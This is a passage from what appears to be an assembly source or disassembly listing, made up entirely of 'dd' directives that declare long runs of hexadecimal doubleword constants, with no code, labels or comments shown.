4A129799h, 24E44550h dd 5726D634h, 3800F888h, 1CFA18EEh, 0EC14984Dh, 8878BE15h dd 0C625A8ABh, 0CBE709F4h, 7421B3D7h, 2A3BBC22h, 9B3BE8DDh dd 0D3E98028h, 50C1A631h, 409CF03Ch, 368110FBh, 6B4BA822h dd 8BFA0970h, 40DC5EE6h, 84BDF9C2h, 3469DB01h, 10B40A65h dd 0D30B2862h, 0D47BB74Bh, 5611F78h, 7F118C83h, 7734F46Dh dd 2092FF00h, 0D7A7C235h, 6A110024h, 0C8EAFE62h, 929523DFh dd 0D5BE40B8h, 9484165Ch, 0CEB40415h, 3C4C01CDh, 59060AC8h dd 389BB65Fh, 86FCA080h, 0EB005B08h, 0FE1283EFh, 44F8A99h dd 6C0EE6EDh, 0F7FCE044h, 5B777020h, 0C070DA45h, 0EC8435BDh dd 0CF5C4899h dd 0F28F1006h, 6D58D0C7h, 0F3CB81ACh, 0DB709D87h, 3DE27Eh dd 0F0187104h, 46EA8B0Fh, 68C351Dh, 1A0370C2h, 2F30D0ACh dd 14B7D041h, 61F28800h, 50A4280h, 6738B4A6h, 0CBCF1E6h dd 840025DCh, 74F3CC3Eh, 28FF9E40h, 4BF1D13h, 0EB95EDA4h dd 0C184BC6Dh, 8843A3B7h, 7110D02Ah, 0D52738ABh, 7038D346h dd 990E3E0Ch, 0C1B2C006h, 0E2F83BF0h, 0BED8C980h, 427015BCh dd 444F6877h, 0C7F01CA6h, 0C8266C6Eh, 9705FF2Eh, 8412C972h dd 2CEAC40Ah, 4CA4674h, 0A7AC4192h, 944044A8h, 0E176244Eh dd 0A29612B4h, 3A5D05A4h, 0C4A2DFCFh, 8730A0F2h, 0EAB73CCFh dd 76E25309h, 9F03A8F4h, 0BF6DCDh, 0ACC67C91h, 66536773h dd 0CC405909h, 0B78F82Fh, 60071539h, 6AB19C02h, 11141DD7h dd 908B829Ah, 80987E9Eh, 9B598A6Ch, 3805F2C5h, 0D84B5CDEh dd 568382AEh, 0AE04645Eh, 21FF943Bh, 0FD1F44ACh, 0A4E860FBh dd 5B91A325h, 711ED0E0h, 1CC5662Ch, 5B97E08h, 0A8207390h dd 679B03B0h, 0E5154DCCh, 1E346EEFh, 0E00004CFh, 92963CE9h dd 0D5162F97h, 0ED937827h, 0C86E2E91h, 0C6DB7800h, 0D3996088h dd 5A4D7632h, 58729Eh, 86BD6BC4h, 58071D89h, 0F133903h dd 99C33143h, 6FD8D71Fh, 87AC991Eh, 25D6ED4h, 0C08406C0h dd 0F25CA2DCh, 40F9309Eh, 0C6122A05h, 10C146A5h, 0B43C0783h dd 29430D80h, 55007D03h, 1E41A3BBh, 223EBC1h, 78DC5E26h dd 0E8D8E4FDh, 0DE6A9038h, 70E064F6h, 2D03EA23h, 94DF623Dh dd 7A459250h, 0D0F75B2Ch, 8172A140h, 348A2E00h, 70555D08h dd 27F490A9h, 1C4ED14Eh, 5C5B7400h, 78C3E559h, 6D70C9C4h dd 1300CC5Ah, 1E26C790h, 3AB0E016h, 386B0C73h, 0DC0CD4h dd 97877690h, 9C4BABC1h, 6B1C5E82h, 497F4404h, 998D02Ah dd 29F022DDh, 0C052AC5Eh, 80F48498h, 0EC95D898h, 42E5168Ch dd 0E760F0ACh, 877BAB10h, 9FDC8D4Bh, 13A0EB70h, 2F218444h dd 1CE237Ch, 0FD8C79F1h, 0EC887A67h, 0B504005Ch, 0B0917454h dd 2A0F9819h, 4FD8BCF7h, 0A95D601Ah, 266215D5h, 1190E4D6h dd 3A630DE0h, 43EF8F0h, 0F4AE3B94h, 84AA60C8h, 0A5EF1840h dd 0AAE2C380h, 64E461D8h, 0AEBE8852h, 3DEA2890h, 0C06D4A8Ch dd 970705B9h, 0FA312D09h, 60420C32h, 0B9AE0AEh, 0C01A6380h dd 0F637BCE0h, 36FEEBF0h, 82646BB5h, 0C35E2786h, 6812A2C4h dd 2821DC44h, 5ECEF26Ch, 0C96E44E8h, 6003D5CCh, 23C5693h dd 66E85850h, 2DF164D8h, 18FBF777h, 2A5F9702h, 6C540BE3h dd 0D8229900h, 48B0DC4Ch, 0B4C2F87Eh, 1DC0174Ah, 90001CADh dd 9A78FAB9h, 0C0C76DABh, 47AFC581h, 8171D5C8h, 421C4470h dd 0DFC4588Ah, 883B191h, 350BA4A3h, 0E24F0CFCh, 0FCA18F93h dd 0B1B89820h, 0E960F816h, 0FE301781h, 0DBA40098h, 0E4A60849h dd 0C20092D9h, 93753A56h, 9D7053EDh, 0BD8E1400h, 9B16C04Dh dd 8CACAD0Fh, 9EFD0296h, 0A4576CD0h, 0E949E6C4h, 9FF08872h dd 6907254h, 8012660Dh, 9823902Ah, 1441A900h, 0FF60E311h dd 7C000F7Fh, 0EF445FB7h, 4CCB162h, 0F7BE9867h, 64F340E3h dd 0FE31F6h, 0BCC89992h, 0DBF039E4h, 0D23A9438h, 216F27C8h dd 0D85C0890h, 0C125478h, 0B354A4C4h, 827E2F01h, 4728793Fh dd 6890F5EAh, 0CE209711h, 686E50E7h, 0BEC41343h, 668816Ah dd 0EBADC892h, 0F467750Bh, 443C67EFh, 38D96027h, 0FF821C16h dd 0A4224B63h, 3AD5A4C2h, 5304F388h, 7C236A90h, 9B01FB77h dd 1032C272h, 90349C54h, 884555C7h, 2AB87479h, 0FBBC600Eh dd 0C4E0AAD7h, 3781D600h, 27B072D2h, 2CFB7976h, 7D6E3B58h dd 52367F7Ch, 9413D865h, 6ECCE442h, 179862B5h, 82241130h dd 55A1BD2Fh, 140AB804h, 59332D74h, 6051E98Ch, 0AD18D079h dd 3BC94702h, 60D6F3CEh, 803A9020h, 5C000D40h, 0A2EAA760h dd 0BC96C3B3h, 2B467C5Ch, 24CCF200h, 0E85DB179h, 8D4F8817h dd 0DA4A50A7h, 4495819Ch, 433EC232h, 0D352DB08h, 2DA82AD3h dd 49001C04h, 1F67D136h, 2DE9280Bh, 0D4C27555h, 9462185Eh dd 0F894663Ch, 0D519C08Ah, 9D65D141h, 8CFB937h, 0BA607489h dd 0C10E1065h, 1BC3608h, 0BD54BB6h, 0EAE29103h, 419F24D0h dd 0B101BA0h, 64EF081Ah, 0A005060Ch, 92634E2Eh, 23403FBBh dd 6521009Ch, 6264A8E0h, 63EC9897h, 3FC02D12h, 6AF7985Ah dd 800E58CCh, 47971390h, 60D06494h, 9AA5248h, 0AD050F0Dh dd 0B790F479h, 97B54A22h, 809B91A0h, 0F81D4C93h, 6C20BDE8h dd 8618E537h, 13B1B3Fh, 898C2B6Fh, 0DC3EEF70h, 605E3CA8h dd 9677E444h, 0E5131CB8h, 0B030E620h, 4EAD67DDh, 6A70A18Eh dd 2FEE8C84h, 2A2358h, 9E7D2357h, 0FA0705A2h, 6F17FF51h dd 9548585Bh, 37FDDCC2h, 100A0420h, 4082AEC4h, 4EE400ABh dd 3D5D92C6h, 8CC84A38h, 2CA60091h, 2E798B97h, 88077ACDh dd 0DF044915h, 0A59859D9h, 0E0DC4C54h, 78CE2D7Dh, 17AFB859h dd 80289134h, 0EAA6B944h, 0A3F33D83h, 21C438Ch, 0C25C9E50h dd 0D42C8090h, 1A103E8h, 0E0B99A8Ch, 0D0957506h, 0B0A9F7Dh dd 6831840Ah, 46742826h, 0B33EEEh, 0E0FDDE78h, 0CA1CF6h dd 0D31EC7FAh, 999E8329h, 0E8C02AEBh, 4ED73915h, 0E7C4B626h dd 97396BA0h, 0D10812ABh, 0D374AD55h, 93A8F0B9h, 963D83Eh dd 76E45697h, 95D68EC8h, 92E0BC32h, 6CC09CDBh, 75511383h dd 545B3Eh, 66745A2Bh, 95871AF8h, 0F4647467h, 0BC336460h dd 1471540Fh, 0C190416Bh, 0DC6AD787h, 44388E8h, 0C810CA92h dd 52E6C7A0h, 91D05B8Dh, 0DC913712h, 3E7AB8F1h, 0F723B4h dd 0FD54EE6Bh, 75027CE2h, 7E93DA8Ah, 40A45E42h, 372C3A63h dd 0DBC068B5h, 1E442F22h, 989BAC68h, 467614BCh, 0B75500F0h dd 0BFCC41F2h, 1038A088h, 0DE55881Bh, 0C13CED9Fh, 0D936B177h dd 0E0C23B4Ah, 0BBA404FDh, 0E95F5002h, 5950520Eh, 800C04Ch dd 1461BD90h, 0E02502D0h, 2DBC79B5h, 77C0244Dh, 9D9F4742h dd 0DE0DC468h, 2FCA44Ch, 6106D5D8h, 3A0593Ah, 0FB90D920h dd 0BC521B98h, 9410B097h, 0FCC49FE7h, 0C5AA9300h, 2BBB8309h dd 0AC1E0104h, 0CF3ACA14h, 0E482D09Ch, 65671018h, 1ED99599h dd 0D6476302h, 8324E8B7h, 805177B9h, 34CFA8Ch, 0C86FC522h dd 2100ECF6h, 0CBF93130h, 0FE655Fh, 950C0AB7h, 4A3D1238h dd 63EDEA01h, 0E4397017h, 1C05BC32h, 8EDDB49Ah, 0C0D28868h dd 9F6B34BFh, 3DCF7717h, 0A414002h, 0CB1C7468h, 76870835h dd 0B2C1D1FCh, 403D8365h, 900CE913h, 5BAC4104h, 8CE2965Ah dd 80989AD6h, 13A43FC7h, 7E98097h, 0ABBF34A0h, 3B196360h dd 47F7A06h, 0D6219C98h, 0FC25BF5Fh, 73866842h, 0B5E0F00Ch dd 6158065h, 746E4AD4h, 0D7CDB501h, 0E067C83Ah, 0B3189A9Ch dd 6DA9D46Eh, 0B8E79598h, 9A795A5Ch, 0A2CE94h, 0A19DE68Bh dd 2F94BEF1h, 24F15079h, 0B90A5C18h, 0A0C46EEEh, 638ABB80h dd 0DEC40h, 0E5A1234Ah, 74CF229Ch, 49705B09h, 8F4882E4h dd 0F8307592h, 0E9B293h, 92A2899h, 740818C3h, 90B8145Ah dd 7C127D25h, 0CB467694h, 9903AA02h, 3AD57DD2h, 0FCB55708h dd 0A8C4CC02h, 571D6273h, 0C0B6F816h, 0A14656h, 0C69A6849h dd 272A79A3h, 404643F9h, 5E9601Dh, 0E671D130h, 23BA1239h dd 0D2F8BD6Eh, 0DA830B9h, 0A8D7D03h, 0CC563707h, 1F04C2h dd 993BCBDFh, 9F1469B5h, 4C867630h, 1B07E806h, 89AFA3C0h dd 0D0A3B45Bh, 5B863678h dd 0B04F61Eh, 5C8808ACh, 3E94C2CCh, 2CA834D4h, 892B640Eh dd 6FBA2440h, 820C34BAh, 0C45ED5CCh, 609C6DE9h, 390AC1E8h dd 1AA45200h, 2265D8C4h, 3F1840E0h, 13204497h, 80381ADBh dd 0ABA441A8h, 0ECCC3CF7h, 87B8CF2h, 8BE4D23Bh, 0FCB44265h dd 0DED180A8h, 378C6A40h, 0D0F1874Ah, 8398DB7Bh, 0F037EBC5h dd 164393E2h, 0EC40CD94h, 704427ACh, 0BC5A5458h, 0C73D220Eh dd 4A45063Ah, 0E8B9E0BDh, 6F1298ADh, 8F7BAAAh, 3A7CE840h dd 5C02D9EEh, 0D1C2369Eh, 74A8BA7Fh, 0F00D428h, 0D4ACE7DCh dd 154CC991h, 8492691Eh, 0A1BE6D18h, 0DF00F94Dh, 466A3C2Bh dd 95A506E0h, 0A6C384EDh, 99FBF0AEh, 0A8F924ADh, 0BD1108E0h dd 9F9294A6h, 9A6A9C39h, 5C9B8020h, 1F7995Fh, 86E9C44Ah dd 22FE9C53h, 0C7EA119Ch, 8F38885Bh, 0E7C2B104h, 48E8025Eh dd 1661CCA7h, 0E690C402h, 525D1E06h, 4010BF38h, 0FF002ABCh dd 9615F2F9h, 241920h, 0C9B694FEh, 986BAD0Ch, 3FA90E0Bh dd 0A068D4C4h, 0B2091CECh, 0BC46678Dh, 4C84D30Bh, 74386070h dd 35DE2D99h, 7BBB2079h, 8DD5821h, 7925C166h, 27D20314h dd 0BD88CC51h, 0AF011841h, 7560AACEh, 282F8179h, 3F8821CCh dd 0B72334ACh, 0D0A8B8A0h, 8CCAE8C8h, 0F2A07927h, 60630EB8h dd 0BE4038DEh, 56C86C48h, 0CDD08997h, 0C8D6CB2Ch, 0E46427h dd 3DD05AE4h, 5185802h, 0E977D47Ah, 0AA15C0Bh, 2A384270h dd 4676D8DCh, 78480ECCh, 840AA25Ch, 88DCD635h, 0C3098817h dd 25F05E4Ch, 5970FCFBh, 0B85676C6h, 69550B46h, 7474DF8Ah dd 0F2426363h, 0D041023Ch, 47408474h, 25B1C5E8h, 0E8790543h dd 5060D349h, 68027F3Dh, 11D2E946h, 6482FFC1h, 63550FAAh dd 0D747FA38h, 3C003CB7h, 28C98866h, 0F5CD0290h, 0EFE99808h dd 422040F8h, 6711C2D6h, 790BDA36h, 60013EFCh, 9C3F9F1Dh dd 162EC45Fh, 0E0004DB7h, 824D1A07h, 0D0D6679h, 7132979Ah dd 0FA584A41h, 187DBC28h, 811D9F8Ah, 0F207AB38h, 0CA221C29h dd 0A9F84DA0h, 3EC01754h, 3F0CAD15h, 8031E09Eh, 0B1FAEEh dd 0BE3CBC0Dh, 2C3D847Fh, 1B5D648h, 12A1B54Eh, 689F16h dd 28CF3BCh, 7E10928Fh, 8489F6A7h, 19751803h, 0DE8CFAEFh dd 0C548BDE0h, 757C7812h, 0C34E7016h, 0CDA0A4E7h, 0CC2541A8h dd 6788402Bh, 0A5FE2E12h, 545C2590h, 987000DCh, 0BF567929h dd 4216FD8Ch, 0A0BC34D4h, 0C8D8CAD2h, 0E559C2EFh, 5D0480D7h dd 0BC2D4842h, 235F8E18h, 8C9FF890h, 9EADC900h, 97769564h dd 0B6DC4A79h, 0D10CE004h, 53BA00F9h, 0BF39C92h, 2C691822h dd 0C45CA8h, 0D19A08D5h, 1D31E794h, 0DFDAE163h, 0E6A5E0CFh dd 56F0546h, 0C82AD012h, 0A040CBCCh, 208B973Bh, 49618C4Fh dd 90F701A3h, 6AB84h, 8F826286h, 9350F80Ah, 67E45995h dd 0DD0E28BEh, 773E0942h, 781CDC3Dh, 92ADC180h, 5F1424DEh dd 710E0F7h, 0EEF86111h, 0BAB56A01h, 805B4583h, 0FE4DBCEh dd 205A2C8h, 39F2F04h, 605EA56Ch, 14377D69h, 0A4409F3Dh dd 500CF8A5h, 0E1C6D06Ah, 80957400h, 3268F61Fh, 3A620D01h dd 7A3B15E6h, 7798125Ch, 3C3460AEh, 653E74D6h, 28B84A5Fh dd 0C4AFBDDFh, 600D5801h, 64C16B9Ah, 9B2E217Ah, 0CEE2C178h dd 90716992h, 6D945C00h, 0F0509808h, 0A89F27C4h, 7D40846Fh dd 0F18AF5A9h, 0D3808C2Eh, 2FC4618Ah, 0C08AB453h, 95A7CBD9h dd 9744685Ah, 0C9B43D2Bh, 0CF570580h, 0D9379376h, 4C257500h dd 3C8D633Ah, 384A04F5h, 804BF356h, 0DC84D060h, 3B04EC7Bh dd 0DAF23994h, 91EA0A07h, 6F97987Fh, 523FA092h, 4171016Ch dd 9A2A63A8h, 6C802E9Bh, 21D8365h, 1138BD06h, 6CC6A23Ah dd 91E06A00h, 99755BFCh, 9A1B2494h, 0F57E00A0h, 38134AEFh dd 0D4EE8F1Ah, 62ECDEF9h, 0A22A8B7h, 10EC44D4h, 4BA34BACh dd 10AD4C90h, 0C121609Fh, 6FE664FAh, 23030F7Ah, 525E3597h dd 0F9AB80C4h, 0F0FA05EFh, 0AF1843AEh, 4869880Ch, 77990DB7h dd 2B88E6C6h, 228F80D2h, 0C8A00B6Eh, 6F6FD75h, 1848E05Ch dd 3830DC52h, 78449768h, 897F1845h, 52E7DC98h, 0ED919900h dd 3A5E0B09h, 0AAA720B4h, 4294D813h, 254C788Ch, 0A451CB2Bh dd 0B1398700h, 3DF2122Fh, 0AC4B7366h, 67178164h, 282FCE32h dd 755E2250h, 0F1B2F0E3h, 11CC730h, 96CE41D6h, 0EC4D5B2Fh dd 265B280Ah, 0FC7CF088h, 0F3822510h, 54C50E6h, 0C3520E0h dd 8923A3DFh, 56279318h, 0D910D9BEh, 0E1918A1h, 8A95B181h dd 86C83B62h, 5700EC59h, 0EB194409h, 0E20F4F78h, 43BC00B0h dd 7F90CF36h, 99C7463h, 165AD94Ah, 80A48074h, 7D2465Eh dd 0CF1C0550h, 7F546240h, 0B87995FAh, 38D15C01h, 10C4212Bh dd 0F4D427ABh, 0D6EEE844h, 0BC782960h, 1F153471h, 39907C2h dd 0C5B7BBA1h, 0E0949B6h, 0D5B2E039h, 1244CC10h, 63A74100h dd 6A678314h, 0D54B0078h, 7A03B29Ch, 542710A8h, 69847824h dd 0E87148C6h, 0A318F6D9h, 506A5300h, 3574E247h, 202C4ECEh dd 0DBB8D60Ch, 5402C173h, 0EAAC223Bh, 0F2746007h, 9E9765A0h dd 683ABA05h, 0E600D323h, 96DE9B4Ah, 0F561662h, 1070BC68h dd 0F65ADCD6h, 0C6AD770h, 4F364400h, 0CB9FAE5h, 0C8015498h dd 0CCD5CE85h, 9A2E1A5Fh, 0C39C88ECh, 9AAA692Fh, 0FC9812D7h dd 0A5AAD8A8h, 88076630h, 3A6A1E42h, 20DA7D39h, 9F063A34h dd 15289B01h, 0AA8F99F2h, 0E6049438h, 0E0BB9C41h, 424AE3C4h dd 207E64B5h, 7807EEE8h, 916C3A00h, 0D229FF18h, 7EE41E7Ch dd 789E583Ch, 6D5BD0F5h, 0ADB494A2h, 1EEB858h, 109C705Bh dd 68DEF474h, 8C29ECDCh, 46D97F0Fh, 5219A074h, 2DCC39FFh dd 78D1A23Fh, 74317F18h, 1A9B1F99h, 0FC472DC7h, 3762F4C4h dd 0F850A7C1h, 0E0097DB3h, 689F83C3h, 0A25BD300h, 6C377DB8h dd 0E5C19C01h, 17FD7F8Ch, 3A6AB500h, 80F9433Ch, 0CE1C9086h dd 58188071h, 6C0BB20Eh, 0B074E6B8h, 0E2A4C3EBh, 12E30189h dd 0C8122EA0h, 0C14EDCE3h, 5DE2394h, 0E79410A8h, 62FC030Eh dd 3BF88620h, 377FBA63h, 5750B801h, 0C81B3C72h, 8D90E22Ah dd 0C023F13Dh, 0B680A13Fh, 0B72AD52Ch, 1674FD80h, 794ED473h dd 68ACF4BDh, 3C8E700h, 0BEC4F25Fh, 66750080h, 0DEF0375Eh dd 0CC1741E5h, 90488A73h, 395A8198h, 0F8899282h, 50004236h dd 0CDD4D5B3h, 98A29AEh, 3BE35955h, 9491CC74h, 4B757474h dd 88D0DA66h, 9AB1C3D3h, 9B94F09Fh, 58B805EEh, 0AB631E2Dh dd 471D4h, 0C20DB36Eh, 9CE2E5F0h, 894C52Ch, 0ABF07369h dd 38DF5898h, 0DD036471h, 0C8AAA37h, 0B857A0CEh, 0D5390952h dd 5CF4386Dh, 0B07B9447h, 77C544Ch, 0BCEDD3F3h, 722A0E8h dd 0C6E68D61h, 91C23F18h, 7A90AD1h, 8017D3E7h, 0B357F0E8h dd 469F5DAEh, 346A3094h, 7EFE1386h, 3C50E004h, 30F43694h dd 0F9E163F6h, 0A3E97C82h, 9823ECF2h, 5E68F25h, 3CC1E418h dd 910199DFh, 0B0342FB4h, 0F8098CACh, 0E47C86CDh, 0E4191DF4h dd 7EE000E5h, 0ABAC407Fh, 0CD6BA441h, 353C478Ch, 6870BA94h dd 62EBCBDFh, 7C4231A2h, 35973CD8h, 80F39174h, 4FA4C3F4h dd 888A05E1h, 0FB048053h, 0C9122044h, 0A84B8601h, 97189EEDh dd 7078F32Dh, 60017463h, 38476C37h, 8C6FC645h, 0A716C940h dd 48E85E52h, 0C8A0CAD3h, 80CFC42Ah, 88077A6h, 3EDBCC01h dd 3FE42A5Fh, 0C83C8E6Eh, 94F3C099h, 69CB1A41h, 8F3868F7h dd 25957704h, 88E2EC13h dd 467CC85Eh, 0AEA402EFh, 0C8F87390h, 4B7664h, 5B6C64A3h dd 0F79CDAB9h, 79143612h, 2A23D82Fh, 9AE6FA07h, 5B69BEC0h dd 1E661412h, 0B8968460h, 0A68104Ch, 0B8D0E996h, 7A77B0h dd 2303B192h, 3875C9D8h, 0B7F1F500h, 784911Dh, 21644E1Eh dd 2B32BBB4h, 0EDE220A6h, 2DCC80F5h, 25A72EE1h, 78F60D5Fh dd 0AA87EF40h, 43250EFAh, 3260D221h, 96F2EC4Ch, 0B67A8C12h dd 1A63F830h, 0A8E09F84h, 56097B75h, 45702A5Ch, 80F1EE78h dd 0B78BF60Dh, 9E672797h, 655560E2h, 74BCA4D8h, 79252246h dd 2640787Eh, 21D750h, 5790B7A7h, 0E76DA132h, 66AB9E04h dd 8CB83604h, 6446EFA4h, 959309Fh, 0E16E8F0Fh, 0D2EC1D57h dd 0F511CC1Dh, 96F3A80h, 2601F421h, 8F1061A1h, 0F72BD5A6h dd 0E9167808h, 0B0A5300Ah, 8CACEC29h, 80C65C39h, 4392B89Fh dd 8914A013h, 0CC61CEA3h, 28247ED5h, 509D5CBDh, 0C950289h dd 55381DBCh, 4D5584BAh, 837340A4h, 4E00B1CFh, 7431C19Ah dd 9A165F98h, 957098F0h, 6DA51C73h, 10FA4010h, 0F14AA874h dd 0BB8020EDh, 0FCD86441h, 31158902h, 554283A4h, 3A071CE4h dd 65DE6D94h, 0A8F88454h, 0F05C1725h, 0E4F46569h, 6F49609Ch dd 0C26728C4h, 91850054h, 3040F75Dh, 5500C841h, 2BFBD6C7h dd 166FDE70h, 42BC35h, 0B79E28CFh, 80BF1193h, 2A6AAF98h dd 87710EEBh, 32A10E68h, 2BA3645Ah, 73B63C30h, 0DC064B94h dd 54160E44h, 0AC52F858h, 0CA9228BDh, 0C09EC804h, 0C26B7F74h dd 3731DD04h, 5CBD13E2h, 0C84CCAD6h, 949AC025h, 3F16A490h dd 44B1E3CCh, 7820CD2Bh, 0E31180D8h, 0FB52F6Bh, 9D92ECACh dd 74DF4220h, 2B1E8015h, 3FC5D0C9h, 0D4EC579Ch, 2CD23527h dd 0D070DB97h, 90B7EB0Dh, 58FC161Ch, 0F9072731h, 0E034E451h dd 1775F35Dh, 830C7802h, 565B1E91h, 6B868268h, 0D4D2FA50h dd 37BB472Fh, 0AD5C00E0h, 0FED82F9Ah, 0A2053209h, 888257C0h dd 0A0D27711h, 7C78E6B5h, 0BFCA2599h, 6D978CEEh, 0C91DC180h dd 0AC42C46Ah, 28AD574Ah, 0C814CA92h, 0E52AC0D2h, 8F0F9409h dd 0A64A45B3h, 171169Fh, 0F531EC91h, 2AACB1F4h, 0A101F025h dd 0DF655AB2h, 4C288C4h, 83E3053Bh, 8854D97Dh, 2CDFCEF8h dd 0E8ED1630h, 20F6D67Ch, 0F1B270E1h, 0C8802E2Bh, 211D7D4h dd 79103AA5h, 1044621Eh, 7F34909Dh, 0DCF856h, 950F7131h dd 0EC69391Dh, 2A1470E4h, 97B04094h, 5780C4ACh, 2706E0CBh dd 3A048601h, 789903C2h, 25D384DCh, 707EE5FAh, 8578D414h dd 32AB6F97h, 8B557450h, 0DCB85640h, 5F1297F8h, 50B8E27Ah dd 0A290BC96h, 745C2BC9h, 9DA81EDCh, 0A63040D1h, 6E2A3C9Ah dd 2954E895h, 0A2D43A4Ch, 60993887h, 0DD39D126h, 0FF49F4E3h dd 0F8592E25h, 4A977100h, 0A390ECFAh, 25BAF407h, 632031B4h dd 660E02Ch, 0EFAB4A01h, 0C9B66ACh, 603EE3CDh, 5E4440B8h dd 20B1DC4Ah, 572F70EDh, 0B820ADE4h, 6EBF174Eh, 165B09F4h dd 1B45305Eh, 0A071CAC3h, 9044F761h, 0F41220Ch, 453B6D27h dd 5A0C1108h, 0B64BA0F3h, 6ED7E008h, 9BD6048Ah, 0BAB74BB2h dd 0DC0A8DBh, 5080AC4Ah, 0B81F9F75h, 6C841693h, 0D509FD68h dd 0B89457h, 1BE9606h, 9974EAB5h, 0F7CD8606h, 17207764h dd 0FC184266h, 5CE35F50h, 10220D04h, 4C34BA34h, 46A850BDh dd 5C7E9B27h, 407C6B70h, 0C4B34ADCh, 0CC20FE1Ch, 0ABEF4Eh dd 9FCB14D1h, 3C560C89h, 44165B1Fh, 0F017E817h, 7A157092h dd 6A5F2724h, 0DCE45Eh, 63D45DB0h, 4098B578h, 0F91A772Fh dd 0DE342640h, 0B41A9300h, 0FEA53DCh, 9C1E9AEh, 0B62F2835h dd 2AD8F090h, 33791727h, 896000E3h, 439C404Ah, 0DB0408BCh dd 0E8FC1812h, 0CA94097Ah, 4C54BE0Dh, 0BD388601h, 0D8707708h dd 59AB0205h, 2D442265h, 88AF9F24h, 132E3B64h, 70E01ACh dd 2115E56Fh, 83AC4CB9h, 7D515900h, 5BB14134h, 2CD47C50h dd 2920A8BEh, 18F0D194h, 0F882614Fh, 0AB17C4h, 1A947C5Bh dd 58E88A2Bh, 0F079A471h, 0E03C5D18h, 68A24B23h, 0E85E6503h dd 0BCCC4B93h, 0E0EDB4ECh, 0AD05FAA8h, 2156D9AFh, 1EACBCB9h dd 80449Dh, 0F401D398h, 0AEE32CEBh, 228CAF48h, 80F8B1D0h dd 0DE4FDF54h, 0D800954Dh, 0A679398Dh, 1252409h, 0BA693A3Fh dd 3A6A1647h, 0F9DA0C29h, 189AF178h, 20E509BBh, 0E05C3A11h dd 5776E642h, 2441658Fh, 69F80399h, 0C04900F0h, 0F02EDE28h dd 4067010Dh, 3C0CD63Eh, 0ED142015h, 0C72988h, 7F722484h dd 8A4432E1h, 41E5DC00h, 8CD0F450h, 6E8712BCh, 0B818ED6Ah dd 9A895A3Fh, 0C0F6C844h, 0F40970BBh, 5A80A300h, 795A531h dd 384F049Bh, 0AE1D186Eh, 0B110F08Bh, 901C0297h, 77BA55ADh dd 25918097h, 0D36A5783h, 7BA440A0h, 0D6C8B260h, 4E983C12h dd 0A0C8A762h, 3F7E4D31h, 5CAD46EEh, 2B094018h, 9FB51012h dd 0F2F234E2h, 0D8DC9831h, 95B002FDh, 0FB2A56F7h, 35403456h dd 0EDD5DEh, 54C0F515h, 6B64CAAFh, 8E123202h, 0DD72F15Fh dd 0CC3FA898h, 0D986F72Dh, 0DCC54984h, 0C76728E4h, 6F966007h dd 0CCB00FDFh, 4EF86027h, 0B2100E30h, 7483D979h, 2113FC3Ch dd 98F8E290h, 0E04CE64Fh, 25725Dh, 35F0761Ah, 0B6836603h dd 44A44697h, 9BE8E598h, 7CBE9778h, 923BA3C0h, 4DEE3BE9h dd 50E66780h, 849937DDh, 0BB065Ch, 353BCEA2h, 0F44AF4B7h dd 0BC7707Eh, 4BF326D6h, 5108076h, 0E814D24Bh, 0C813CD20h dd 0EC304AE2h, 0EACA024Ch, 3838E31Fh, 5B840C24h, 1414916Eh dd 4378C462h, 3F72E400h, 310D7409h, 6B1A0040h, 0F62902C0h dd 0F701787Eh, 0C14F44DEh, 6C9BD1Ch, 401474CEh, 4B4D1F97h dd 53F1E1Dh, 0EF08106Ch, 56650FB2h, 98A9CC0Fh, 0A800B0D7h dd 5D82153h, 13E0661Dh, 0B99CC5E5h, 5D302E4h, 0C03B7479h dd 136516A0h, 0BE288042h, 10C27857h, 7C245DEEh, 8DC246FBh dd 396B0169h, 0E13BB035h, 0AA06DC16h, 24B5CE01h, 0B8C36A36h dd 3B942989h, 35600890h, 25441038h, 1350DAEDh, 0AEE9C878h dd 2A9CF022h, 7F9205BCh, 8308A076h, 63336A04h, 0CCA8981Ah dd 0AEF8B213h, 8F1E830h, 61EC94E1h, 0C8ABC49Ch, 9603D8B9h dd 9307EC3Ch, 0D51CEA16h, 6091B883h, 407FBABCh, 0D58DD00h dd 785D986Bh, 0F2D04Bh, 149EF03Ch, 5740C1DDh, 0C43C9984h dd 8DB54DC8h, 29C1D004h, 2C16AF04h, 0E6E318C8h, 0AEEE0050h dd 0B7AC6614h, 0CB000DA5h, 4368D426h, 381C2976h, 6840BE6h dd 0AE144442h, 0DA7FDC8Dh, 82DF8B00h, 0E3B70A0h, 68FE0F89h dd 127467Ch, 9BEDC27Bh, 5888CCF9h, 0E90533DCh, 0C0ACF7ABh dd 0E4B88712h, 24BF86BCh, 6EEE0330h, 0D4590578h, 0AC026F49h dd 0D69CC684h, 541A40C4h, 74BBDD38h, 142B06D0h, 1C05EA07h dd 0D29A1C09h, 5F10895Dh, 12229814h, 0A499B7ACh, 60FEFAE9h dd 9B0AF62h, 0F5E89A57h, 0C060CC13h, 0C7A5F4F2h, 0ABEE48A8h dd 0ACC33101h, 0F439E6E2h, 405B43AEh, 6CB82CC4h, 0CB2DE1B8h dd 552042EFh, 208F0E5h, 0EF3809B7h, 84F8B4D3h, 727A0057h dd 0B12146E0h, 422EE335h, 889C864h, 0F4F16Fh, 8F2B2C9Eh dd 1003F81h, 4DB8BCF8h, 580C2F06h, 0C3098BD4h, 0BA5D356Fh dd 6024CD2Ch, 0F0970668h, 37C21601h, 0E4A44C10h, 0D96F5084h dd 2CCAAE66h, 40741E25h, 6E583823h, 5D3113FEh, 12861740h dd 0A270BCF0h, 2C82297Dh, 6757DCC8h, 4E89112Ch, 50E7F4F6h dd 3113A98Dh, 5310AA7Bh dd 1109FCC0h, 0EC7E0E97h, 0D420E509h, 1000D6BCh, 0BDBF6CC0h dd 1663A769h, 0ED37743Ah, 0A8ED9644h, 690489A8h, 98D7F85Ah dd 0C0320BDh, 15F3A18Fh, 3E89BBA1h, 342098CDh, 0BC324E40h dd 6B3AC82Ch, 25D438F6h, 9C704238h, 0D98851B5h, 4818F7h dd 3DC254E9h, 2839D4EFh, 5C87E65Bh, 6C6890ABh, 60FB0040h dd 0EAC6D5C7h, 0D000A725h, 64CAAA56h, 5FD36BCFh, 0C9CA013h dd 76E4D625h, 8C5CE980h, 0EB1701D4h, 156B8B6Dh, 0DC6030EEh dd 187D6588h, 11ECF807h, 0FF02288Fh, 5B5FC019h, 4E334064h dd 573E3B49h, 0EACD1E8Bh, 0D702E85Ch, 0DD35E941h, 4B8668B8h dd 62FC8023h, 0C5026A0Ch, 0D4465595h, 8F4B04Fh, 44599765h dd 0C800DD12h, 4CE92E63h, 836F0A86h, 0E27E34h, 10D25D05h dd 0EB002C5Fh, 94292F6Eh, 